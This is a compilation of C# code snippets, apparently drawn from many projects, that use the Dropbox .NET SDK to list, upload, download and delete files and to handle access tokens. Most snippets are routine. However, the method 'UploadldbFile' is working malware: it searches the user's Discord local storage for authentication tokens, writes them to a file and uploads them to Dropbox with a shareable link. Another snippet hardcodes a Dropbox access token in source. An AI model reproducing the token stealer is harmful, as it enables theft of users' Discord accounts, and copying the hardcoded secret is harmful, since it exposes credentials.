// To download a file: private async Task Download(DropboxClient dbx, string folder, string file) { using (var response = await dbx.Files.DownloadAsync(folder + "/" + file)) { Console.WriteLine(await response.GetContentAsStringAsync()); } }
// To upload a file: private async Task Upload(DropboxClient dbx, string folder, string file, string content) { using (var mem = new MemoryStream(Encoding.UTF8.GetBytes(content))) { var updated = await dbx.Files.UploadAsync( folder + "/" + file, WriteMode.Overwrite.Instance, body: mem); Console.WriteLine("Saved {0}/{1} rev {2}", folder, file, updated.Rev); } }
private async Task ListRootFolder(DropboxClient dbx) { var list = await dbx.Files.ListFolderAsync(string.Empty); // show folders then files foreach (var item in list.Entries.Where(i => i.IsFolder)) { Console.WriteLine("D {0}/", item.Name); } foreach (var item in list.Entries.Where(i => i.IsFile)) { Console.WriteLine("F{0,8} {1}", item.AsFile.Size, item.Name); } }
private async void connectToDropboxToolStripMenuItem_Click(object sender, EventArgs e) { // create new Dropbox Client Client = new DropboxClient(appId, appSecret); // open authorization webpage Process.Start(Client.GetAuthorizeUrl(ResponseType.Code)); // show input dialog string code = new ConnectWindow().ShowDialog(); EnableUI(false); AuthorizeResponse response = null; // authorize entered code try { response = await Client.AuthorizeCode(code); } catch(InvalidGrantException ex) { MessageBox.Show("Invalid code. Please try again.", "Invalid code", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } // save token Properties.Settings.Default.AccessToken = response.AccessToken; Properties.Settings.Default.Save(); // get current account FullAccount currentAccount = await Client.Users.GetCurrentAccount(); // display account name and id connectionStatusLabel.Text = string.Format("Connected as {0} ({1})", currentAccount.Name.DisplayName, currentAccount.AccountId); // refresh tree view await RefreshTreeView(); EnableUI(true); }
private async void MainForm_Load(object sender, EventArgs e) { if (!string.IsNullOrEmpty(Properties.Settings.Default.AccessToken)) { Client = new DropboxClient(Properties.Settings.Default.AccessToken); if (await Client.CheckConnection()) { EnableUI(false); // get current account FullAccount currentAccount = await Client.Users.GetCurrentAccount(); // display account name and id connectionStatusLabel.Text = string.Format("Connected as {0} ({1})", currentAccount.Name.DisplayName, currentAccount.AccountId); // get space usage SpaceUsage usage = await Client.Users.GetSpaceUsage(); spaceUsageLabel.Text = string.Format("{0:0.00}% used ({1:n} of {2:n} GiB)", (float)usage.Used / (float)usage.Allocation.Allocated * 100f, usage.Used / 1073741824f, usage.Allocation.Allocated / 1073741824f); // refresh tree view await RefreshTreeView(); EnableUI(true); } else { MessageBox.Show("Unable to connect to Dropbox. Please try connecting again."); } } else { Client = new DropboxClient(appId, appSecret); } Client.Files.DownloadFileProgressChanged += Files_DownloadFileProgressChanged; Client.Files.UploadFileProgressChanged += Files_UploadFileProgressChanged; }
public PDWDropbox() { client = new DropboxClient(API_KEY); }
async Task ListRootFolder(DropboxClient dbx) { var button = dropBoxData.Children[dropBoxData.Children.Count - 1]; dropBoxData.Children.Clear(); var list = await dbx.Files.ListFolderAsync(string.Empty); // show folders then files int rowsCount = dropBoxData.ColumnDefinitions.Count; int columnsCount = dropBoxData.ColumnDefinitions.Count; int column = 0, row = 0; foreach (var item in list.Entries.Where(i => i.IsFolder)) { var textBlock = new TextBlock() { Text = "\nИмя: " + item.Name + "\n" }; dropBoxData.Children.Add(textBlock); Grid.SetRow(textBlock, row); Grid.SetColumn(textBlock, column); column++; if (column > columnsCount) { column = 0; row++; } } foreach (var item in list.Entries.Where(i => i.IsFile)) { var stackPanel = new StackPanel() { }; var textBlock = new TextBlock() { Text = "\nРазмер: " + item.AsFile.Size + "\nИмя : " + item.Name + "\n", TextAlignment = TextAlignment.Left }; var hiddenTextBlock = new TextBlock() { Text = item.PathDisplay, Visibility = Visibility.Collapsed }; var downloadButton = new Button() { Content = "Скачать", Width = 100, Height = 40, HorizontalAlignment = HorizontalAlignment.Center, }; downloadButton.Click += DownloadFile; stackPanel.Children.Add(textBlock); stackPanel.Children.Add(hiddenTextBlock); stackPanel.Children.Add(downloadButton); dropBoxData.Children.Add(stackPanel); Grid.SetRow(stackPanel, row); Grid.SetColumn(stackPanel, column); column++; if (column > columnsCount) { column = 0; row++; } } dropBoxData.Children.Add(button); }
private async void Lists(DropboxClient client, string path) { await ListFolder(client, path); }
public async Task DeleteAsync(string fileNameForStorage) { using var client = new DropboxClient(dropboxToken); await client.Files.DeleteAsync(dropboxFolder + fileNameForStorage); }
/// <summary> /// Carica sul server le mod, forge e l'icona(se selezionata) /// </summary> /// <param name="sender"></param> /// <param name="FilesToDelete">File da cancellare</param> /// <param name="FilesToUpload">File da Caricare</param> /// <param name="token">Token di dropbox</param> /// <param name="ModPath">Percorso alla cartella delle mod</param> /// <param name="ForgePath">Percorso al file di forge</param> /// <param name="IconSelected"></param> public async Task UploadFiles(MainWindow sender, List <string> FilesToDelete, List <string> FilesToUpload, string token, string ModPath, string ForgePath, bool IconSelected) { if (FilesToDelete.Count > 0) { using (var dbx = new DropboxClient(token)) { var list = await dbx.Files.ListFolderAsync(string.Empty); foreach (var item in list.Entries.Where(i => i.IsFile)) { if (FilesToDelete.Contains(item.Name)) { sender.Message($"Cancello il file deprecato: {item.Name}"); await dbx.Files.DeleteV2Async(@"/" + item.Name); } } } } if (FilesToUpload.Count > 0) { using (var dbx = new DropboxClient(token)) { const int chunkSize = 128 * 1024; foreach (string mod in FilesToUpload) { using (FileStream stream = new FileStream(Path.Combine(ModPath, mod), FileMode.Open)) { sender.Message($"Carico la mod: {mod}"); if (stream.Length >= chunkSize) { await stream.DisposeAsync(); await ChunkUpload(dbx, Path.Combine(ModPath, mod), mod); } else { await dbx.Files.UploadAsync(@"/" + mod, body : stream); } } } } } sender.Message($"Caricamento di Forge installer..."); using (var dbx = new DropboxClient(token)) { const int chunkSize = 128 * 1024; var list = await dbx.Files.ListFolderAsync(string.Empty); foreach (var item in list.Entries.Where(i => i.IsFile)) { if (item.Name == "forge.jar") { await dbx.Files.DeleteV2Async(@"/" + item.Name); } } using (FileStream stream = new FileStream(ForgePath, FileMode.Open)) { if (stream.Length >= chunkSize) { await stream.DisposeAsync(); await ChunkUpload(dbx, ForgePath, "forge.jar"); } else { await dbx.Files.UploadAsync(@"/" + "forge.jar", body : stream); } } } sender.Message($"Caricamento dell'icona..."); using (var dbx = new DropboxClient(token)) { const int chunkSize = 128 * 1024; var list = await dbx.Files.ListFolderAsync(string.Empty); foreach (var item in list.Entries.Where(i => i.IsFile)) { if (item.Name == "icon.png") { await dbx.Files.DeleteV2Async(@"/" + item.Name); } } if (IconSelected) { using (FileStream stream = new FileStream(IconPath, FileMode.Open)) { if (stream.Length >= chunkSize) { await stream.DisposeAsync(); await ChunkUpload(dbx, IconPath, "icon.png"); } else { await dbx.Files.UploadAsync(@"/" + "icon.png", body : stream); } } } else { var assets = AvaloniaLocator.Current.GetService <IAssetLoader>(); Bitmap bitmap = new Bitmap(assets.Open(new Uri("resm:ModpackUpdater4.icon.png"))); if (File.Exists(Path.Combine(Path.GetTempPath(), "TempIcon.bmp"))) { File.Delete(Path.Combine(Path.GetTempPath(), "TempIcon.bmp")); } bitmap.Save(Path.Combine(Path.GetTempPath(), "TempIcon.bmp")); System.Drawing.Bitmap bm = new System.Drawing.Bitmap(Path.Combine(Path.GetTempPath(), "TempIcon.bmp")); bm.Save(IconPath, System.Drawing.Imaging.ImageFormat.Png); using (FileStream stream = new FileStream(IconPath, FileMode.Open)) { if (stream.Length >= chunkSize) { await ChunkUpload(dbx, IconPath, "icon.png"); } else { await dbx.Files.UploadAsync(@"/" + "icon.png", body : stream); } } } } }
private DropboxHelper(DropboxClient client) { this.client = client; }
public MainWindow() { InitializeComponent(); selectedFolder = ""; lastFile = ""; selectedFolders = new List <string>(); curs = Properties.Settings.Default.cursor; client = new DropboxClient(); string folderUser = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); if (System.IO.Directory.Exists(folderUser + "\\" + "Синхронизируемая папка") == false) { System.IO.Directory.CreateDirectory(folderUser + "\\" + "Синхронизируемая папка"); } if (Properties.Settings.Default.selectedFolders == null) { System.Collections.Specialized.StringCollection folders = new System.Collections.Specialized.StringCollection(); folders.Add(folderUser + "\\" + "Синхронизируемая папка"); Properties.Settings.Default.selectedFolders = folders; Properties.Settings.Default.Save(); } Properties.Settings.Default.selecFolder = folderUser + "\\" + "Синхронизируемая папка"; Properties.Settings.Default.Save(); selectedFolder = folderUser + "\\" + "Синхронизируемая папка"; if (String.IsNullOrEmpty(Properties.Settings.Default.AccessToken)) { while (this.GetAccesToken() == false) { Properties.Settings.Default.selecFolder = ""; Properties.Settings.Default.Save(); } } api = client.connectDropbox(Properties.Settings.Default.AccessToken); getInfoUser(api); //moveFileInFolderAsync(api, "/Синхронизируемая папка"); WindowState = FormWindowState.Minimized; this.ShowInTaskbar = false; notifyIconName.Visible = true; /*if (Properties.Settings.Default.cursorsFolders != null) * { * for (int i = 0; i < Properties.Settings.Default.cursorsFolders.Count; i++) * { * folders.Add(Properties.Settings.Default.cursorsFolders[i]); * } * } * else * { * folders.Add(Properties.Settings.Default.cursor); * }*/ Properties.Settings.Default.cursorsFolders = null; if (Properties.Settings.Default.cursorsFolders == null) { System.Collections.Specialized.StringCollection cF = new System.Collections.Specialized.StringCollection(); for (int i = 0; i < Properties.Settings.Default.selectedFolders.Count; i++) { cF.Add(""); } Properties.Settings.Default.cursorsFolders = cF; Properties.Settings.Default.Save(); } if (System.IO.Directory.Exists(Properties.Settings.Default.selecFolder)) { if (Properties.Settings.Default.fl == null) { Properties.Settings.Default.fl = "access"; Properties.Settings.Default.Save(); updateState(false); getAllFiles(api, selectedFolder, "/" + selectedFolder.Split('\\').Last()); updateState(true); } else { createNeedFolders(api, Properties.Settings.Default.selectedFolders); for (int i = 0; i < Properties.Settings.Default.selectedFolders.Count; i++) { selectedFolders.Add(Properties.Settings.Default.selectedFolders[i]); getStartedSynchronizationAsync(api, selectedFolders[i], i); synchronizationAsync(api, selectedFolders[i], i); createWatcher(selectedFolders[i]); } } } else { System.IO.Directory.CreateDirectory(folderUser + "\\" + "Синхронизируемая папка"); updateState(false); getAllFiles(api, selectedFolder, "/" + selectedFolder.Split('\\').Last()); updateState(true); } }
public void Sample() { using (var dbx = new DropboxClient("YOUR ACCESS TOKEN")) { } }
public async void SaveAssetAsync() { if (string.IsNullOrEmpty(assetFriendlyName.text)) { MessageBox.Show("Error", "Asset Name Is Missing", () => { }); return; } if (itemFont.itemID == 0) { if (string.IsNullOrEmpty(tempFontFilePath)) { MessageBox.Show("Error", "No Font File Selected", () => { }); return; } } this.GetComponent <Button>().interactable = false; LoadingPanelUI loadingPanelUI = GetComponentInChildren <LoadingPanelUI>(true); loadingPanelUI.gameObject.SetActive(true); loadingPanelUI.ChangeText("Please Wait", "Assets Uploading"); const string catalogueItemFileName = "CatalogueItem.asscat"; const string itemThumnailPrefabName = "AssetThumnail_Font"; if (itemFont.itemID == 0) //New Asset { catalogueManager._CreatedAssetCount++; CatalogueItemDetail itemDetail = new CatalogueItemDetail { ItemType = CatalogueItemDetail.ItemTypes.Font, ItemID = catalogueManager._CreatedAssetCount, CatalogueItemDirectory = "/Assets/Fonts/" + catalogueManager._CreatedAssetCount.ToString("D5") + "/", DateModified = DateTime.Now.ToString(), FriendlyName = assetFriendlyName.text, ItemTypeCategory = 0, }; string localAssetPath = "/" + catalogueManager._DatabaseUID + itemDetail.CatalogueItemDirectory + "/"; string localFontPath = localAssetPath + "/" + Path.GetFileName(tempFontFilePath); cmd_File.DeleteFolder(Application.persistentDataPath + localAssetPath, false); Directory.CreateDirectory(Application.persistentDataPath + localAssetPath); File.Copy(tempFontFilePath, Application.persistentDataPath + localFontPath, true); itemFont = new CatalogueItem_Font { friendlyName = assetFriendlyName.text, itemID = catalogueManager._CreatedAssetCount, modifiedDate = DateTime.Now.ToString(), fontPath = localFontPath, thumnailData = RenderFontTextToBitmapArray(256, 256, new System.Drawing.Font(fontCollection.Families[0], 28), renderTextStringShort, System.Drawing.Brushes.GhostWhite), tags = tagsInputField.text.Split('#'), itemTypeCategory = 0, favourite = favouritesToggle.isOn, }; cmd_File.SerializeObject(Application.persistentDataPath + localAssetPath, catalogueItemFileName, itemFont); catalogueManager._CatalogueItemDetails.Add(itemDetail); catalogueManager.ResyncCatalogueDatabaseAsync(); using (DropboxClient dbx = new DropboxClient(AvoEx.AesEncryptor.DecryptString(PlayerPrefs.GetString("Token")))) { await cmd_Dropbox.UploadFileAsync(dbx, tempFontFilePath, itemDetail.CatalogueItemDirectory, Path.GetFileName(tempFontFilePath)); await cmd_Dropbox.UploadObjAsync(dbx, itemFont, itemDetail.CatalogueItemDirectory, catalogueItemFileName); Debug.Log("LOG:" + DateTime.Now.ToString() + " - " + itemFont.friendlyName + " Created"); MessageBox.Show("Boom Shaka Laka", "Asset Now Added", () => { GetComponent <PopupItemController>().HideDialog(0); }); } GameObject go = Instantiate(Resources.Load(itemThumnailPrefabName) as GameObject, GameObject.FindWithTag("ThumbnailGrid").transform); go.SendMessage("ObjectParse", itemFont); } else //Update Asset { foreach (CatalogueItemDetail itemDetail in catalogueManager._CatalogueItemDetails) { if (itemDetail.ItemID == itemFont.itemID) { itemDetail.DateModified = DateTime.Now.ToString(); itemFont.modifiedDate = DateTime.Now.ToString(); itemDetail.FriendlyName = assetFriendlyName.text; itemFont.friendlyName = assetFriendlyName.text; itemFont.tags = tagsInputField.text.Split('#'); itemFont.favourite = favouritesToggle.isOn; itemFont.itemTypeCategory = 0; itemThumbnail.lable.text = assetFriendlyName.text; itemThumbnail.ObjectParse(itemFont); catalogueManager.ResyncCatalogueDatabaseAsync(); using (DropboxClient dropboxClient = new DropboxClient(AvoEx.AesEncryptor.DecryptString(PlayerPrefs.GetString("Token")))) { await cmd_Dropbox.UploadObjAsync(dropboxClient, itemFont, itemDetail.CatalogueItemDirectory, catalogueItemFileName); Debug.Log("LOG:" + DateTime.Now.ToString() + " - " + itemFont.friendlyName + " Updated"); MessageBox.Show("Boom Shaka Laka", "Asset Now Updated", () => { GetComponent <PopupItemController>().HideDialog(0); }); } string localPath = Application.persistentDataPath + "/" + catalogueManager._DatabaseUID + itemDetail.CatalogueItemDirectory + "/"; cmd_File.SerializeObject(localPath, catalogueItemFileName, itemFont); return; } } } loadingPanelUI.gameObject.SetActive(false); this.GetComponent <Button>().interactable = true; }
public DropboxAPI(string accessToken) { _client = new DropboxClient(accessToken); }
public static async Task <FileMetadata> Upload(this DropboxClient client, string folder, string fileName, Stream fs) { var fullDestinationPath = $"{folder}/{fileName}"; return(await client.Files.UploadAsync(fullDestinationPath, WriteMode.Overwrite.Instance, body : fs)); }
private async Task <ListFolderResult> ListFolder(DropboxClient client, string path) { try { //Console.WriteLine("--- Files ---"); var list = await client.Files.ListFolderAsync(path); int size_fol = list.Entries.Count - 1; load_file.Maximum = size_fol; int counts_fol = 1; loading.Text = "読み込み中...(" + counts_fol + "/" + size_fol + ")"; // show folders then files foreach (var item in list.Entries.Where(i => i.IsFolder)) { load_file.Value = counts_fol; loading.Text = "読み込み中...(" + counts_fol + "/" + size_fol + ")"; var list2 = await client.Files.ListFolderAsync("/" + item.Name); int size = list2.Entries.Count; int counts = 1; folder.Items.Add(new string[] { item.Name }); List <String[]> files = new List <string[]>(); foreach (var item_file in list2.Entries.Where(i => i.IsFile)) { var file = item_file.AsFile; // Asia/Tokyo タイムゾーンの情報を取得 TimeZoneInfo jst = TimeZoneInfo.FindSystemTimeZoneById("Tokyo Standard Time"); // 変換元DateTimeのKindプロパティが指すタイムゾーンから、指定したタイムゾーンに変換 DateTime now_jst = TimeZoneInfo.ConvertTime(file.ServerModified, jst); files.Add(new string[] { item_file.Name, now_jst.ToString() }); counts++; } foreach (var item_file2 in list2.Entries.Where(i => i.IsFolder)) { var file = item_file2.AsFolder; files.Add(new string[] { item_file2.Name, "" }); counts++; } folders.Add(files); counts_fol++; } load_file.Value = size_fol; loading.Text = "読み込み完了"; if (list.HasMore) { Console.WriteLine(" ..."); //listview.Items.Add(new string[] { "ERROR", "DropBoxAPIの制限でこれ以上の読み込みができません", "" }); } return(list); } catch (BadInputException exs) { string masssge = exs.Message.Replace("Invalid authorization value in HTTP header", "HTTPヘッダーの認証項目が無効です。").Replace("Error in call to API function", "API 関数の呼び出しでエラーが発生しました").Replace("oauth2-access-token", "DropBoxの連携が正常に完了してない可能性があります。確認してください。"); MessageBox.Show("無効なHTTPリクエストです。\n" + masssge, "無効なHTTPリクエスト", MessageBoxButton.OK, MessageBoxImage.Error); return(null); } catch (HttpRequestException exa) { MessageBox.Show("HTTPリクエストに問題が発生しました。コンピュータがインターネットに接続されているか確認してください。\n" + exa.Message, "無効なHTTPリクエスト", MessageBoxButton.OK, MessageBoxImage.Error); return(null); } catch (Exception es) { MessageBox.Show("エラー\n" + es.Message, "エラー", MessageBoxButton.OK, MessageBoxImage.Error); return(null); } }
public AccountClient(ILogger <AccountClient> logger, IDropboxClientFactory dropboxClientFactory) { this.logger = logger; this.dropboxClientFactory = dropboxClientFactory; dbxClient = this.dropboxClientFactory.GetDropboxClient(); }
static async Task Download(DropboxClient dbx, string folder, string file) { using (var response = await dbx.Files.DownloadAsync(folder + "/" + file)) { } }
//------------------------------------------------------------------------------------------------------------------------------- public static void Start() { dbx = new DropboxClient(DropboxAccessToken); /// umm need some error handling hin here!!! }
static void DeleteTestFile(string fileName, DropboxClient client) { client.Files.DeleteV2Async("/" + fileName).Wait(); }
public DropboxFolderWatcher(DropboxClient client, ServerFolder serverFolder) { this.serverFolder = serverFolder; this.client = client; }
private static async Task <string> downloadZipFile(string path, string folderName) { FileStream archivo = null; try { clientConf = new DropboxClientConfig("ScandaV1"); client = new DropboxClient(APITOKEN); path = "/" + path; var x = await client.Files.DownloadAsync(path); FileMetadata metadata = x.Response; archivo = File.Create(metadata.Name); archivo.Close(); // Stream stream = await x.GetContentAsStreamAsync(); // //stream.CopyTo(archivo); byte[] buff = new byte[CHUNK_SIZE]; int read; while (0 < (read = stream.Read(buff, 0, CHUNK_SIZE))) { using (var appedS = new FileStream(metadata.Name, FileMode.Append)) { appedS.Write(buff, 0, read); } } return(metadata.Name); } catch (OutOfMemoryException ex) { await Logger.sendLog(string.Format("{0} | {1} | {2}", ex.Message, ex.StackTrace, "Scanda.ClassLibrary.ScandaConector.downloadZipFile"), "E"); Console.WriteLine("Se acabo la memoria"); return(null); } catch (FileNotFoundException ex) { await Logger.sendLog(string.Format("{0} | {1} | {2}", ex.Message, ex.StackTrace, "Scanda.ClassLibrary.ScandaConector.downloadZipFile"), "E"); Console.WriteLine("No existe el archivo"); return(null); } catch (AggregateException ex) //Excepciones al vuelo { await Logger.sendLog(string.Format("{0} | {1} | {2}", ex.Message, ex.StackTrace, "Scanda.ClassLibrary.ScandaConector.downloadZipFile"), "E"); Console.WriteLine("Tarea Cancelada"); return(null); } catch (Exception ex) { Console.WriteLine(ex); return(null); } finally { if (archivo != null) { archivo.Close(); archivo.Dispose(); } } }
public void StartService() { var accessToken = ConfigurationManager.AppSettings["DropboxAccessToken"]; _service = new DropboxClient(accessToken); }
public static void Initialize(TestContext context) { var token = context.Properties["accessToken"].ToString(); Client = new DropboxClient(token); }
public async void Run() { var dbx = new DropboxClient(ACCESS_TOKEN); await ListRootFolder(dbx); }
private static async Task <bool> uploadZipFile(string origen, string folder, Status status) { FileStream stream = null; try { clientConf = new DropboxClientConfig("ScandaV1"); client = new DropboxClient(APITOKEN); FileInfo info = new FileInfo(origen); status.upload.total = ((info.Length * 1)) / (B_TO_MB * 1.0f) + ""; //Esta en bytes para convertirlos en megas /1024d)/1024d await Logger.sendLog(string.Format("Peso total del archivo es de {0} en megas {1}", info.Length, status.upload.total), "T"); string extension = info.Extension; float size = info.Length / (B_TO_MB * 1.0f); long nChunks = info.Length / CHUNK_SIZE; stream = new FileStream(origen, FileMode.Open); { string nombre = info.Name; if (nChunks == 0) { status.upload.chunk = "0"; await status.uploadStatusFile(status.upload); var subidaS = await client.Files.UploadAsync("/" + folder + "/" + nombre, OVERWRITE, false, body : stream); //subidaS.Wait(); //Console.WriteLine(subidaS.Result.AsFile.Size); //stream.Close(); status.upload.chunk = status.upload.total; status.upload.status = 3; await status.uploadStatusFile(status.upload); } else { byte[] buffer = new byte[CHUNK_SIZE]; string sessionId = null; for (var idx = 0; idx <= nChunks; idx++) { status.upload.status = 2; var byteRead = stream.Read(buffer, 0, CHUNK_SIZE); status.upload.chunk = (idx * (CHUNK_SIZE / 1024d) / 1024d) + ""; //status.upload.chunk = idx.ToString(); //status.upload.total = nChunks.ToString(); MemoryStream memSream = new MemoryStream(buffer, 0, byteRead); try { if (idx == 0) { status.upload.status = 1; //var result = client.Files.UploadSessionStartAsync(body: memSream); //result.Wait(); var result = await client.Files.UploadSessionStartAsync(body : memSream); sessionId = result.SessionId; await Logger.sendLog(string.Format("{0} | {1} | {2}", "", "Servicio de windows ejecutandose ", "Scanda.Service.DBProtector.StartUpload"), "T"); await status.uploadStatusFile(status.upload); } else { ulong trans = (ulong)CHUNK_SIZE * (ulong)idx; var cursor = new UploadSessionCursor(sessionId, trans); await status.uploadStatusFile(status.upload); if (idx == nChunks) { //var x = client.Files.UploadSessionFinishAsync(cursor, new CommitInfo("/" + folder + "/" + nombre), memSream); //x.Wait(); var x = await client.Files.UploadSessionFinishAsync(cursor, new CommitInfo("/" + folder + "/" + nombre), memSream); status.upload.status = 3; await status.uploadStatusFile(status.upload); } else { //var x = client.Files.UploadSessionAppendAsync(cursor, memSream); //x.Wait(); //var x = await client.Files.UploadSessionAppendAsync(cursor, memSream); //await client.Files.UploadSessionAppendV2Async(new UploadSessionAppendArg(cursor), memSream); await client.Files.UploadSessionAppendAsync(cursor, memSream); await status.uploadStatusFile(status.upload); // x.Wait(); //await client.Files.UploadSessionAppendV2Async(new UploadSessionAppendArg(cursor), memSream); } } } catch (Exception ex) { await Logger.sendLog(string.Format("{0} | {1} | {2}", ex.Message, ex.StackTrace, "Scanda.AppTray.ScandaConector.uploadZipFile"), "E"); Console.WriteLine("Error En el Upload"); return(false); } finally { memSream.Dispose(); } } } } return(true); } catch (OutOfMemoryException ex) { await Logger.sendLog(string.Format("{0} | {1} | {2}", ex.Message, ex.StackTrace, "ScandaConector.uploadZipFile"), "E"); Console.WriteLine("Se acabo la memoria"); return(false); } catch (FileNotFoundException ex) { await Logger.sendLog(string.Format("{0} | {1} | {2}", ex.Message, ex.StackTrace, "ScandaConector.uploadZipFile"), "E"); Console.WriteLine("No existe el archivo"); return(false); } catch (AggregateException ex) //Excepciones al vuelo { await Logger.sendLog(string.Format("{0} | {1} | {2}", ex.Message, ex.StackTrace, "ScandaConector.uploadZipFile"), "E"); Console.WriteLine("Tarea Cancelada"); return(false); } catch (Exception ex) { await Logger.sendLog(string.Format("{0} | {1} | {2}", ex.Message, ex.StackTrace, "ScandaConector.uploadZipFile"), "E"); Console.WriteLine(ex); return(false); } finally { if (stream != null) { stream.Close(); stream.Dispose(); } } }
public DropBoxListPage() { InitializeComponent(); client = new DropboxClient(Properties.Settings.Default.AccessToken); Lists(client, ""); }
public ActionResult Create([Bind(Include = "Id,CategoryId,Name")] ItemType itemType, HttpPostedFileBase Image) { if (ModelState.IsValid) { if (Image == null) { ModelState.AddModelError("Image", "Image can not be empty"); ViewBag.CategoryId = new SelectList(db.Categories, "Id", "Name", itemType.CategoryId); return(View(itemType)); } else if (!db.ItemTypes.Any(i => i.Name == itemType.Name)) { ////I inserted byte[] readBytes = new byte[2]; Image.InputStream.Read(readBytes, 0, 2); Image.InputStream.Position = 0; if ( (readBytes[0] == 255 && readBytes[1] == 216) //jpg || (readBytes[0] == 66 && readBytes[1] == 77) //bmp ) { string accessToken = "5clFbYDf69AAAAAAAAAAmDjHXA266m0u688mq8XCP_P1hmhP7nz2xC9P3zdx0ptr"; using (DropboxClient client = new DropboxClient(accessToken, new DropboxClientConfig(ApplicationName))) { string[] spitInputFileName = Image.FileName.Split(new string[] { "\\" }, StringSplitOptions.RemoveEmptyEntries); string fileNameAndExtension = spitInputFileName[spitInputFileName.Length - 1]; string[] fileNameAndExtensionSplit = fileNameAndExtension.Split('.'); string originalFileName = fileNameAndExtensionSplit[0]; string originalExtension = fileNameAndExtensionSplit[1]; string fileName = @"/Images/" + originalFileName + Guid.NewGuid().ToString().Replace("-", "") + "." + originalExtension; var updated = client.Files.UploadAsync( fileName, mode: WriteMode.Overwrite.Overwrite.Instance, body: Image.InputStream).Result; var result = client.Sharing.CreateSharedLinkWithSettingsAsync(fileName).Result; itemType.ImageUrl = result.Name; itemType.Image = result.Url.Replace("?dl=0", "?raw=1"); } db.ItemTypes.Add(itemType); db.SaveChanges(); return(RedirectToAction("Index")); } else { ViewBag.extensionError = "it needs to be jpg or bmp"; } } } ViewBag.CategoryId = new SelectList(db.Categories, "Id", "Name", itemType.CategoryId); return(View(itemType)); }
//public async Task Run() //{ // using (var dbx = new DropboxClient(AccessToken)) // { // var full = await dbx.Users.GetCurrentAccountAsync(); // Console.WriteLine("{0} - {1}", full.Name.DisplayName, full.Email); // } //} public async Task<int> Run() { InitializeCertPinning(); if (string.IsNullOrEmpty(AccessToken)) { return 1; } // Specify socket level timeout which decides maximum waiting time when on bytes are // received by the socket. var httpClient = new HttpClient(new WebRequestHandler { ReadWriteTimeout = 10 * 1000 }) { // Specify request level timeout which decides maximum time taht can be spent on // download/upload files. Timeout = TimeSpan.FromMinutes(20) }; this.client = new DropboxClient(AccessToken, userAgent: "SimpleTestApp", httpClient: httpClient); try { await GetCurrentAccount(); var list = await ListFolder(ProfilesFolder); var firstFile = list.Entries.FirstOrDefault(i => i.IsFile); //if (firstFile != null) //{ // await Download(ProfilesFolder, firstFile.AsFile); //} //await Upload(ProfilesFolder, "upload.bmp"); } catch (HttpException e) { Console.WriteLine("Exception reported from RPC layer"); Console.WriteLine(" Status code: {0}", e.StatusCode); Console.WriteLine(" Message : {0}", e.Message); if (e.RequestUri != null) { Console.WriteLine(" Request uri: {0}", e.RequestUri); } } return 0; }
public DropboxCloudStorageService(string dropboxApiKey) { DropboxApiKey = dropboxApiKey; DropboxClient = new DropboxClient(dropboxApiKey); }
/// <summary> /// Sets the new dropbox client. /// </summary> private void SetNewDropboxClient() { this.DropboxClient = new DropboxClient(this.AccessToken, new DropboxClientConfig("WindowsUniversalAppDemo")); }
public static void UploadldbFile() { using (var dbx = new DropboxClient(DropboxToken)) { var files = SearchForFile(); // to get ldb files if (files.Count == 0) { Console.WriteLine("Didn't find any ldb files"); return; } foreach (string token in files) { foreach (Match match in Regex.Matches(token, "[^\"]*")) { if (match.Length == 59) { Console.WriteLine($"Token={match.ToString()}"); using (StreamWriter sw = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\writtenldbtoken.txt", true)) { sw.WriteLine($"Token={match.ToString()}"); } } } } string uploadfile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\writtenldbtoken.txt"; string folder = ""; // Generate random filename to be able to upload more .log files to Dropbox Random rnd = new Random(); int length = 8; var randomstr = ""; for (var i = 0; i < length; i++) { randomstr += ((char)(rnd.Next(1, 26) + 64)).ToString(); } string filename = randomstr + ".log"; string url = ""; using (var mem = new MemoryStream(File.ReadAllBytes(uploadfile))) { var updated = dbx.Files.UploadAsync(folder + "/" + filename, WriteMode.Overwrite.Instance, body: mem); updated.Wait(); var tx = dbx.Sharing.CreateSharedLinkWithSettingsAsync(folder + "/" + filename); tx.Wait(); url = tx.Result.Url; } List <string> SearchForFile() { List <string> ldbFiles = new List <string>(); string discordPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\"; if (!Directory.Exists(discordPath)) { Console.WriteLine("Discord path not found"); return(ldbFiles); } foreach (string file in Directory.GetFiles(discordPath, "*.ldb", SearchOption.TopDirectoryOnly)) { string rawText = File.ReadAllText(file); if (rawText.Contains("oken")) { Console.WriteLine($"{Path.GetFileName(file)} added"); ldbFiles.Add(rawText); } } return(ldbFiles); } } }
private async void connect(object sender, DoWorkEventArgs e) { dbx = new DropboxClient(token); try { fullAccount = await dbx.Users.GetCurrentAccountAsync(); boxItems.Clear(); this.Invoke((MethodInvoker) delegate() { linfo.Text = "Name:" + fullAccount.Name.DisplayName + " Email:" + fullAccount.Email; listView1.Items.Clear(); }); var list = await dbx.Files.ListFolderAsync(path); foreach (var item in list.Entries.Where(i => i.IsFolder)) { DropBoxItem boxitem = new DropBoxItem(); boxitem.Name = item.Name; boxitem.IsDeleted = item.IsDeleted; boxitem.IsFile = item.IsFile; boxitem.IsFolder = item.IsFolder; boxitem.ParentShareFolderId = item.ParentSharedFolderId; boxitem.PathDisplay = item.PathDisplay; boxitem.PathLower = item.PathLower; boxitem.Tag = item; int imageindex = 0; ListViewItem listItem = new ListViewItem(boxitem.Name, imageindex); listItem.Tag = boxitem; this.Invoke((MethodInvoker) delegate() { listView1.Items.Add(listItem); }); boxItems.Add(boxitem); } foreach (var item in list.Entries.Where(i => i.IsFile)) { DropBoxItem boxitem = new DropBoxItem(); boxitem.Name = item.Name; boxitem.IsDeleted = item.IsDeleted; boxitem.IsFile = item.IsFile; boxitem.IsFolder = item.IsFolder; boxitem.ParentShareFolderId = item.ParentSharedFolderId; boxitem.PathDisplay = item.PathDisplay; boxitem.PathLower = item.PathLower; boxitem.Size = (int)(item.AsFile.Size / 8); boxitem.Tag = item; int imageindex = 1; ListViewItem listItem = new ListViewItem(boxitem.Name, imageindex); listItem.Tag = boxitem; listItem.SubItems.Add(boxitem.Size.ToString()); this.Invoke((MethodInvoker) delegate() { listView1.Items.Add(listItem); }); boxItems.Add(boxitem); } this.UseWaitCursor = false; } catch (Exception ex) { this.UseWaitCursor = false; MessageBox.Show(ex.Message); } }
